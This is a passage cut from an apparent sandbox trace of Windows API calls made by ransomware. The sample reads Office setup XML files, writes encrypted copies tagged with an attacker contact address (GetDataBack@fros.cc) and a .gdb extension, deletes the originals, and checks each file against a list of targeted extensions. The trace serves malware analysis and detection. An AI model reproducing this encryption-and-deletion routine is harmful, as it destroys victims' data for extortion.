lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x10b2, lpOverlapped=0x0) returned 1 [0120.367] WriteFile (in: hFile=0x200, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x10c0, lpOverlapped=0x0) returned 1 [0120.367] ReadFile (in: hFile=0x1fc, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0120.367] WriteFile (in: hFile=0x200, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xf0, lpOverlapped=0x0) returned 1 [0120.368] SetEndOfFile (hFile=0x200) returned 1 [0120.368] CloseHandle (hObject=0x200) returned 1 [0120.368] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.369] SetEndOfFile (hFile=0x1fc) returned 1 [0120.369] CloseHandle (hObject=0x1fc) returned 1 [0120.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0120.370] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1 [0120.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0120.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0120.370] lstrlenW (lpString=".doc") returned 4 [0120.370] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.370] lstrlenW (lpString=".docx") returned 5 [0120.370] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0120.370] lstrlenW (lpString=".pdf") returned 4 [0120.370] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.370] lstrlenW (lpString=".xls") returned 4 [0120.370] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.370] lstrlenW (lpString=".xlsx") returned 5 [0120.370] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0120.370] lstrlenW (lpString=".ppt") returned 4 [0120.370] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0120.370] lstrlenW (lpString=".zip") returned 4 [0120.370] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.370] lstrlenW (lpString=".rar") returned 4 [0120.370] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.370] lstrlenW (lpString=".bz2") returned 4 [0120.370] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.370] lstrlenW (lpString=".7z") returned 3 [0120.370] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0120.370] lstrlenW (lpString=".dbf") returned 4 [0120.370] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0120.370] lstrlenW (lpString=".1cd") returned 4 [0120.370] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0120.371] lstrlenW (lpString=".jpg") returned 4 [0120.371] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0120.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0120.371] lstrlenW (lpString=".doc") returned 4 [0120.371] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.371] lstrlenW (lpString=".docx") returned 5 [0120.371] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0120.371] lstrlenW (lpString=".pdf") returned 4 [0120.371] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.371] lstrlenW (lpString=".xls") returned 4 [0120.371] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.371] lstrlenW (lpString=".xlsx") returned 5 [0120.371] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0120.371] lstrlenW (lpString=".ppt") returned 4 [0120.371] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0120.371] lstrlenW (lpString=".zip") returned 4 [0120.371] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.371] lstrlenW (lpString=".rar") returned 4 [0120.371] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.371] lstrlenW (lpString=".bz2") returned 4 [0120.371] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.371] lstrlenW (lpString=".7z") returned 3 [0120.371] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0120.371] lstrlenW (lpString=".dbf") returned 4 [0120.371] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0120.371] lstrlenW (lpString=".1cd") returned 4 [0120.371] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0120.371] lstrlenW (lpString=".jpg") returned 4 [0120.371] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.372] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0120.372] lstrlenW (lpString="OneNoteMUI.XML") returned 14 [0120.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0120.372] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1606) returned 1 [0120.372] CloseHandle (hObject=0x1fc) returned 1 [0120.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0120.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0120.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0120.372] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.372] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0120.374] GetLastError () returned 0x0 [0120.374] ReadFile (in: hFile=0x1fc, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x646, lpOverlapped=0x0) returned 1 [0120.375] WriteFile (in: hFile=0x200, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x650, lpOverlapped=0x0) returned 1 [0120.376] ReadFile (in: hFile=0x1fc, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0120.376] WriteFile (in: hFile=0x200, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xf0, lpOverlapped=0x0) returned 1 [0120.376] SetEndOfFile (hFile=0x200) returned 1 [0120.376] CloseHandle (hObject=0x200) returned 1 [0120.377] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.377] SetEndOfFile (hFile=0x1fc) returned 1 [0120.378] CloseHandle (hObject=0x1fc) returned 1 [0120.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0120.378] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1 [0120.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0120.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0120.378] lstrlenW (lpString=".doc") returned 4 [0120.378] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.378] lstrlenW (lpString=".docx") returned 5 [0120.378] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0120.379] lstrlenW (lpString=".pdf") returned 4 [0120.379] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.379] lstrlenW (lpString=".xls") returned 4 [0120.379] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.379] lstrlenW (lpString=".xlsx") returned 5 [0120.379] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0120.379] lstrlenW (lpString=".ppt") returned 4 [0120.379] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0120.379] lstrlenW (lpString=".zip") returned 4 [0120.379] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.379] lstrlenW (lpString=".rar") returned 4 [0120.379] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.379] lstrlenW (lpString=".bz2") returned 4 [0120.379] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.379] lstrlenW (lpString=".7z") returned 3 [0120.379] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0120.379] lstrlenW (lpString=".dbf") returned 4 [0120.379] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0120.379] lstrlenW (lpString=".1cd") returned 4 [0120.379] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0120.379] lstrlenW (lpString=".jpg") returned 4 [0120.379] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0120.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0120.379] lstrlenW (lpString=".doc") returned 4 [0120.379] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.379] lstrlenW (lpString=".docx") returned 5 [0120.379] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0120.379] lstrlenW (lpString=".pdf") returned 4 [0120.379] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.379] lstrlenW (lpString=".xls") returned 4 [0120.379] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.379] lstrlenW (lpString=".xlsx") returned 5 [0120.379] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0120.379] lstrlenW (lpString=".ppt") returned 4 [0120.379] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0120.379] lstrlenW (lpString=".zip") returned 4 [0120.379] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.379] lstrlenW (lpString=".rar") returned 4 [0120.379] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.379] lstrlenW (lpString=".bz2") returned 4 [0120.380] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.380] lstrlenW (lpString=".7z") returned 3 [0120.380] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0120.380] lstrlenW (lpString=".dbf") returned 4 [0120.380] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0120.380] lstrlenW (lpString=".1cd") returned 4 [0120.380] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0120.380] lstrlenW (lpString=".jpg") returned 4 [0120.380] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.380] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0120.380] lstrlenW (lpString="SETUP.XML") returned 9 [0120.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0120.381] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1988) returned 1 [0120.381] CloseHandle (hObject=0x1fc) returned 1 [0120.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0120.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0120.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0120.381] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.381] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0120.382] GetLastError () returned 0x0 [0120.382] ReadFile (in: hFile=0x1fc, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x7c4, lpOverlapped=0x0) returned 1 [0120.383] WriteFile (in: hFile=0x200, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x7d0, lpOverlapped=0x0) returned 1 [0120.384] ReadFile (in: hFile=0x1fc, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0120.384] WriteFile (in: hFile=0x200, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xe6, lpOverlapped=0x0) returned 1 [0120.384] SetEndOfFile (hFile=0x200) returned 1 [0120.384] CloseHandle (hObject=0x200) returned 1 [0120.385] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.385] SetEndOfFile (hFile=0x1fc) returned 1 [0120.385] CloseHandle (hObject=0x1fc) returned 1 [0120.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0120.386] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1 [0120.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0120.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0120.386] lstrlenW (lpString=".doc") returned 4 [0120.386] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.386] lstrlenW (lpString=".docx") returned 5 [0120.386] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0120.386] lstrlenW (lpString=".pdf") returned 4 [0120.386] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.386] lstrlenW (lpString=".xls") returned 4 [0120.386] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.386] lstrlenW (lpString=".xlsx") returned 5 [0120.386] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0120.386] lstrlenW (lpString=".ppt") returned 4 [0120.386] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0120.386] lstrlenW (lpString=".zip") returned 4 [0120.386] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.386] lstrlenW (lpString=".rar") returned 4 [0120.386] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.386] lstrlenW (lpString=".bz2") returned 4 [0120.386] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.386] lstrlenW (lpString=".7z") returned 3 [0120.387] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0120.387] lstrlenW (lpString=".dbf") returned 4 [0120.387] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0120.387] lstrlenW (lpString=".1cd") returned 4 [0120.387] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0120.387] lstrlenW (lpString=".jpg") returned 4 [0120.387] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0120.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0120.387] lstrlenW (lpString=".doc") returned 4 [0120.387] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.387] lstrlenW (lpString=".docx") returned 5 [0120.387] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0120.387] lstrlenW (lpString=".pdf") returned 4 [0120.387] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.387] lstrlenW (lpString=".xls") returned 4 [0120.387] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.387] lstrlenW (lpString=".xlsx") returned 5 [0120.387] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0120.387] lstrlenW (lpString=".ppt") returned 4 [0120.387] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0120.387] lstrlenW (lpString=".zip") returned 4 [0120.387] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.387] lstrlenW (lpString=".rar") returned 4 [0120.387] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.387] lstrlenW (lpString=".bz2") returned 4 [0120.387] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.387] lstrlenW (lpString=".7z") returned 3 [0120.387] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0120.387] lstrlenW (lpString=".dbf") returned 4 [0120.387] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0120.387] lstrlenW (lpString=".1cd") returned 4 [0120.387] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0120.387] lstrlenW (lpString=".jpg") returned 4 [0120.387] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.388] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0120.388] lstrlenW (lpString="OutlookMUI.XML") returned 14 [0120.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0120.388] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=3186) returned 1 [0120.388] CloseHandle (hObject=0x1fc) returned 1 [0120.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0120.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0120.388] CreateFileW (lpFileName="C:\\Program 